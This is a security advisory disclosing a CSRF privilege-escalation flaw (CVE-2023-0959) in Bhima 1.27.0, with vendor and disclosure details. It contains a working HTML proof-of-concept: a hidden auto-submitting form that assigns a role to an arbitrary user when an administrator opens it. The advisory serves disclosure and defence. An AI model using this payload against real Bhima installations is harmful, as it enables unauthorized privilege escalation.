Bhima 1.27.0 - Privilege Escalation via CSRF
|Name||Bhima 1.27.0 - Privilege Escalation via CSRF|
|Affected versions||Version 1.27.0|
Bhima version 1.27.0 allows a remote attacker to update the privileges of any account registered in the application via a malicious link sent to an administrator. This is possible because the application is vulnerable to CSRF.
This vulnerability occurs because the application is vulnerable to CSRF. In this way we can persuade an administrator to elevate the privileges of an arbitrary account.
<!DOCTYPE html> <html> <body> <form action="http://localhost:8082/roles/assignTouser" method="POST"> <input type="hidden" name="user_id" value="6" /> <input type="hidden" name="role_uuids" value="5B7DD0D692734955A703126FBD504B61" /> <input type="submit" value="Submit request" /> </form> <script> document.forms.submit(); </script> </body> </html>
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2023-0959 to refer to this issue from now on.
Version: Bhima 1.27.0
Operating System: GNU/Linux
There is currently no patch available for this vulnerability.
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
Vendor page https://github.com/IMA-WorldHealth/bhima/
Vendor replied acknowledging the report.